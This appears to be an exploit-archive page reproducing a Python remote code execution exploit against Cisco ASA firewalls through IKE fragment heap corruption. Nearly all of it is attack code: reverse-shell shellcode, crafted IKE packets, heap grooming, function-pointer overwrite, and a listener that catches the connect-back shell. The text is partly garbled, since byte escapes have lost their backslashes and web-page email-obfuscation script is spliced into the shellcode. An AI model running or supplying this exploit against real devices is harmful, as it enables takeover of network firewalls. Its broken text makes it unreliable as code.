Home / os / win7

Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow

Posted on 30 November -0001

<HTML><HEAD><TITLE>Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/usr/bin/env python2.7 import socket import sys import struct import string import random import time # Spawns a reverse cisco CLI cliShellcode = ( "x60xc7x02x90x67xb9x09x8bx45xf8x8bx40x5cx8bx40x04" "x8bx40x08x8bx40x04x8bx00x85xc0x74x3bx50x8bx40x08" "x8bx40x04x8dx98xd8x00x00x00x58x81x3bxd0xd4x00xe1" "x75xe4x83x7bx04x31x74xdex89xd8x2dx00x01x00x00xc7" "x40x04x03x01x00x00xc7x40x0cxd0x00x00x00xc7x80xf8" "x00x00x00xefxcdx1cxa1x55x31xedx31xffx4fxbex22x00" "x00x00xbax07x00x00x00xb9x00x10x00x00x31xdbxb8xc0" "x00x00x00xcdx80x5dx89xc7xebx26x5exb9x00x04x00x00" "xf3xa5x31xdbx6ax03x68x00x20x00x00x53x50x68xfdxa8" "xffx09xb8xf0xb7x06x08xffxd0x83xc4x14x61x31xc0xc3" "xe8xd5xffxffxffx55x89xe5x81xecx10x04x00x00xe9xb1" "x00x00x00x58x89x85xfcxfbxffxffx50xb8xf0x07x07x08" "xffxd0x83xc4x04x89x85xf8xfbxffxffx89xc3x8bx43x04" "x68x80xeex36x00x68x1ax90x01x00x53xffx50x70xc7x44" "x24x04x20x90x01x00x8bx43x04xffx50x70xc7x85xf4xfb" "xffxffx00x40x00x00x8dx8dxf4xfbxffxffx89x4cx24x08" "xc7x44x24x04x21x90x01x00x89x1cx24x8bx43x04xffx50" "x70xbexc8xefxffxffx65x8bx06x89x98x98x00x00x00xeb" "x3axb8x80x0ax0fx08xffxd0x5bxc7x43x0cxffxffxffx17" "x83xc3x14xc7x03x65x6ex61x62xc7x43x04x6cx65x5fx31" "xc7x43x08x35x00x00x00x6ax04x68x60xc1x52x0axb8x20" "x68x0fx08xffxd0x89xecx5dx31xc0xc3xe8xc1xffxffxff" "x60xc1x52x0axe8x4axffxff<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="bac2dcdcced9ca95f9f5f4f4fff9ee958995faf3ea">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="3a157a6a75686e">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@x00" ) # Spawns a reverse "/bin/sh" shShellcode = ( "x60xc7x02x90x67xb9x09x8bx45xf8x8bx40x5cx8bx40x04" "x8bx40x08x8bx40x04x8bx00x85xc0x74x3bx50x8bx40x08" "x8bx40x04x8dx98xd8x00x00x00x58x81x3bxd0xd4x00xe1" "x75xe4x83x7bx04x31x74xdex89xd8x2dx00x01x00x00xc7" "x40x04x03x01x00x00xc7x40x0cxd0x00x00x00xc7x80xf8" "x00x00x00xefxcdx1cxa1xb8x40xbcx2ax09xffxd0x61xb8" "x02x00x00x00xcdx80x85xc0x0fx85xa1x01x00x00xbaxed" "x01x00x00xb9xc2x00x00x00x68x2fx73x68x00x68x2fx74" "x6dx70x8dx1cx24xb8x05x00x00x00xcdx80x50xebx31x59" "x8bx11x8dx49x04x89xc3xb8x04x00x00x00xcdx80x5bxb8" "x06x00x00x00xcdx80x8dx1cx24x31xd2x52x53x8dx0cx24" "xb8x0bx00x00x00xcdx80x31xdbxb8x01x00x00x00xcdx80" "xe8xcaxffxffxffx46x01x00x00x7fx45x4cx46x01x01x01" "x00x00x00x00x00x00x00x00x00x02x00x03x00x01x00x00" "x00x54x80x04x08x34x00x00x00x00x00x00x00x00x00x00" "x00x34x00x20x00x01x00x00x00x00x00x00x00x01x00x00" "x00x00x00x00x00x00x80x04x08x00x80x04x08xf2x00x00" "x00xf2x00x00x00x07x00x00x00x00x10x00x00x55x89xe5" "x83xecx10x6ax00x6ax01x6ax02x8dx0cx24xbbx01x00x00" "x00xb8x66x00x00x00xcdx80x83xc4x0cx89x45xfcx68x7f" "x00x00x01x68x02x00x04x38x8dx14x24x6ax10x52x50x8d" "x0cx24xbbx03x00x00x00xb8x66x00x00x00xcdx80x83xc4" "x14x85xc0x7dx18x6ax00x6ax01x8dx1cx24x31xc9xb8xa2" "x00x00x00xcdx80x83xc4x08xebxc4x8bx45xfcx83xecx20" "x8dx0cx24xbax03x00x00x00x8bx5dxfcxc7x01x05x01x00" "x00xb8x04x00x00x00xcdx80xbax04x00x00x00xb8x03x00" "x00x00xcdx80xc7x01x05x01x00x01xc7x41x04x0ax64x00" "x01x66xc7x41x08x11x5cxbax0ax00x00x00xb8x04x00x00" "x00xcdx80xbax20x00x00x00xb8x03x00x00x00xcdx80x83" "xc4x20x8bx5dxfcxb9x02x00x00x00xb8x3fx00x00x00xcd" "x80x49x7dxf6x31xd2x68x2dx69x00x00x89xe7x68x2fx73" "x68x00x68x2fx62x69x6ex89xe3x52x57x53x8dx0cx24xb8" "x0bx00x00x00xcdx80x31xdbxb8x01x00x00x00xcdx80x31" "xc0xc3" ) # SA Session class Session(object): def __init__(self, host_port, id = None): if id == None: id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) self._host, self._port = host_port self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._id = id self._mid = 1 # Init session print("[+] Using session ID: " + self._id) self.send(self.make_SA()) # Check if we got something res = self.recv() cookie = res[8:16] print("[+] Cookie: " + cookie) self._cookie = cookie # Enforce value of 0x21 if ord(res[16]) != 0x21: raise Exception("Invalid router response") print("[+] New SA successfuly created.") # UPD socket helpers def send(self, buf): self._sock.sendto(buf, (self._host, self._port)) def recv(self, size = 4096): data, addr = self._sock.recvfrom(size) return data def make_SA(self): buf = "" buf += self._id # Initiator SPI buf += "x00"*8 # Responder SPI buf += "x21" # next payload (security association) buf += "x20" # version buf += "x22" # exchange type buf += "x08" # flags buf += "x00"*4 # message ID buf += "$$$$" # length # stolen from pcap # THIS IS SECURITY ASSOCIATION buf += "x22x00x00x6cx00x00x00x68x01x01x00x0bx03x00x00x0cx01x00x00x0cx80x0ex01x00x03x00x00x0cx01x00x00x0cx80x0ex00x80x03x00x00x08x01x00x00x03x03x00x00x08x01x00x00x02x03x00x00x08x02x00x00x02x03x00x00x08x02x00x00x01x03x00x00x08x03x00x00x02x03x00x00x08x03x00x00x01x03x00x00x08x04x00x00x02x03x00x00x08x04x00x00x05x00x00x00x08x04x00x00x0e" # THIS IS KEY EXCHANGE # this is the type of the next payload... buf += "x28" # 0x28 = Nonce, 0x2b = vendor ID # KEY EXCHANGE DATA buf += "x00x00x88x00x02x00x00x50xeaxf4x54x1cx61x24x1bx59x3fx48xcbx12x8cxf1x7fx5fxd4xd8xe9xe2xfdx3cx66x70xefx08xf6x56xcdx83x16x65xc1xdfx1cx2bxb1xc4x92xcaxcbxd2x68x83x8ex2fx12x94x12x48xecx78x4bx5dxf3x57x87x36x1bxbax5bx34x6execx7ex39xc1xc2x2dxf9x77xccx19x39x25x64xebxb7x85x5bx16xfcx2cx58x56x11xfex49x71x32xe9xe8x2dx27xbex78x71x97x7ax74x42x30x56x62xa2x99x9cx56x0fxfexd0xa2xe6x8fx72x5fxc3x87x4cx7cx9bxa9x80xf1x97x57x92" # this is the Nonce payload buf += "x2b" buf += "x00x00x18x97x40x6ax31x04x4dx3fx7dxeax84x80xe9xc8x41x5fx84x49xd3x8cxee" # lets try a vendor id or three buf += "x2b" # next payload, more vendor ID buf += "x00" # critical bit vid = "CISCO-DELETE-REASON" buf += struct.pack(">H", len(vid)+4) buf += vid # another vendor id buf += "x2b" # next payload, more vendor ID buf += "x00" # critical bit vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc." buf += struct.pack(">H", len(vid)+4) buf += vid # another vendor id buf += "x2b" # next payload, more vid buf += "x00" # crit vid = "CISCO-GRE-MODE" buf += struct.pack(">H", len(vid)+4) buf += vid # last vendor id buf += "x00" # next payload buf += "x00" vid = "x40x48xb7xd5x6exbcxe8x85x25xe7xdex7fx00xd6xc2xd3" buf += struct.pack(">H", len(vid)+4) buf += vid return buf.replace("$$$$", struct.pack(">L", len(buf))) def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit): buf = '' buf += self._id # Initiator SPI (random) buf += self._cookie # Responder SPI buf += "x84" # next payload buf += "x20" # version buf += "x25" # exchange type (2=identify protection) buf += "x08" # flags buf += "x00x00x00x01" # message ID buf += "ABCD" # length # PAYLOAD payload = "" payload += "x00" # next payload (none) payload += "x00" # critical bit payload += struct.pack(">H", flength) #payload_len) # length payload += struct.pack(">H", fragid) # frag ID payload += struct.pack("B", seqno) # frag sequence payload += struct.pack("B", lastfrag) payload += sploit buf += payload return buf.replace("ABCD", struct.pack(">L", len(buf))) def send_fragment(self, flength, seqno, fragid, lastfrag, sploit): buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit) self.send(buf) # We're not supposed to receive anything if everything went # according to plan def make_cisco_option_list(self, opt_lst): buf = '' buf += self._id # Initiator SPI (random) buf += self._cookie # Responder SPI buf += "x2f" # next payload buf += "x20" # version buf += "x25" # exchange type (2=identify protection) buf += "x08" # flags buf += struct.pack(">I", 1) # message ID buf += "ABCD" # length # PAYLOAD payload = "" payload += "x00" # next payload (none) payload += "x00" # critical bit payload += "EF" #payload_len) # length payload += "x03" # CFG_SET payload += "x00x00x00" # Reserved total = 0x8 for size, n in opt_lst: option = struct.pack(">H", 0x6000) #id option += struct.pack(">H", size) # data length option += "A" * (size) total += (size + 4) * n payload += option * n buf += payload packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total)) return packet class Exploit(object): def __init__(self, host, revHost, revPort = 4444): self._host = host self._port = 500 self._revHost = revHost self._revPort = revPort self._sessions = [] # Create a new SA session def create_SA(self, id = None): # Create a new socket for session sess = Session((self._host, self._port), id) # Append to session list self._sessions.append(sess) return sess # Interact with reverse shell def interact(self): from telnetlib import Telnet s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((self._revHost, self._revPort)) s.listen(5) cli = s.accept()[0] s.close() print("[+] Got connect-back") t = Telnet() t.sock = cli t.interact() def buildPayload(self, cli = False): if cli == False: buf = bytearray(shShellcode) # Adjust IP and port buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost) buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort) Shellcode = bytes(buf) else: Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort)) return Shellcode if __name__ == "__main__": if len(sys.argv) < 3: print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0])) sys.exit(0) #TODO: Check host host = sys.argv[1] revHost = sys.argv[2] # Parse revHost port = 4444 if revHost.rfind(":") != -1: revHost, port = revHost.split(":") port = int(port) exploit = Exploit(host, revHost, port) sess1 = exploit.create_SA() sess2 = exploit.create_SA() n = 0xd6 sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3)) # Send packets which will trigger the vulnerability # Weird packet to get a size of 0x1 sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7)) # This fragment will be the one being copied # during the memory corruption buf = "A" * (n - 0xd + 0x3) buf += struct.pack("<I", 0xef000000) buf += struct.pack("<I", 0x00a11ccd) # chunk magics buf += struct.pack("<I", 0xe100d4d0) buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the # adjacent chunk on free sess2.send_fragment(8 + n + 3, 1, 6, 0, buf) sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8) pkt = sess1.make_cisco_option_list(( (0xd0, 0x30), ) ) # Defragment heap sess1.send(pkt) sess1.send(pkt) sess1.send(pkt) # Prepare a fake chunk buf = "" buf += struct.pack("<I", 0x60) buf += struct.pack("<I", 0x102) buf += struct.pack("<I", 0xa11c0123) buf += struct.pack("<I", 0xe0) buf += "A" * 0xe8 # And allocate it right after a 0x100 bytes hole sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf) # Trigger the overflow sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7)) # Retrieve of fake freed block #buf = "xcc" * (0xd0 - len(buf)) buf = "x00" * 0xd0 buf += struct.pack("<I", 0xe100d4d0) buf += struct.pack("<I", 0x31) # this is a special writable address in the process # it translate into the following executable code: # nop / jmp [ecx] # since ecx happens to hold a pointer to a controlled buffer # the execution flow will be redirected to attacker controlled data what = 0xc821ff90 # Just some writable address in the process which doesn't seem to be used where = 0xc8002000 - 0x8 buf += struct.pack("<I", what) buf += struct.pack("<I", where) buf += struct.pack("<I", 0xf3ee0123) buf += struct.pack("<I", 0x0) * 5 buf += struct.pack("<I", 0x5ee33210) buf += struct.pack("<I", 0xf3eecdef) buf += struct.pack("<I", 0x30) buf += struct.pack("<I", 0x132) buf += struct.pack("<I", 0xa11c0123) buf += struct.pack("<I", 0x100) buf += struct.pack("<I", 0x0) * 2 # Second write-4 pointers # This is the address of the pointer to the "list_add" function # which will give us control of execution flow where = 0x0A99B7A4 - 0x10 # This is the address where the opcode sequence "nop / jmp [ecx]" is located what = 0xc8002000 buf += struct.pack("<I", what) buf += struct.pack("<I", where) buf += "x00" * (0x128 - len(buf)) # Try to chain a config list and a fragment packet packet = bytearray() packet += sess1._id # Initiator SPI (random) packet += sess1._cookie # Responder SPI packet += "x2f" # next payload option list packet += "x20" # version packet += "x25" # exchange type (2=identify protection) packet += "x08" # flags packet += struct.pack(">I", 1) # message ID packet += "XXXX" # total length including header payload = bytearray() payload += "x00" # next payload (frag) payload += "x00" # critical bit payload += "x00x00" # payload length payload += "x03" # CFG_SET payload += "x00x00x00" # Reserved size = 0x130 option = struct.pack(">H", 0x8400) #id option += struct.pack(">H", size) # data length option += "x90" * 0x8 + buf payload += option * 0x10 # Update payload length payload[2:4] = struct.pack(">H", len(payload)) packet += payload # Update payload length packet[0x18:0x1C] = struct.pack(">I", len(packet)) packet = bytes(packet) # Reallocate the fake freed 0x130 bytes chunk with controlled data # this way we can perform a write-4 memory corruption when freeing # the subsequent memory sess1.send(packet) time.sleep(0.2) #raw_input() packet = bytearray() packet += sess1._id # Initiator SPI (random) packet += sess1._cookie # Responder SPI packet += "x84" # next payload option list packet += "x20" # version packet += "x25" # exchange type (2=identify protection) packet += "x08" # flags packet += struct.pack(">I", 1) # message ID packet += "XXXX" # total length including header buf = exploit.buildPayload(cli = True) flength = len(buf) + 0x8 fragid = 0xeb seqno = 0x5 lastfrag = 0 payload = bytearray() # Jump over garbage directly into shellcode (interpreted as jmp +0x6) payload += "xeb" # next payload (none) payload += "x06" # critical bit payload += struct.pack(">H", flength) #payload_len) # length payload += struct.pack(">H", fragid) # frag ID payload += struct.pack("B", seqno) # frag sequence payload += struct.pack("B", lastfrag) payload += buf packet += payload # Update payload length packet[0x18:0x1C] = struct.pack(">I", len(packet)) packet = bytes(packet) # Trigger the 2 write-4 and get code execution sess1.send(packet) # Hopefully we'll get something interesting exploit.interact() </BODY></HTML>

 

TOP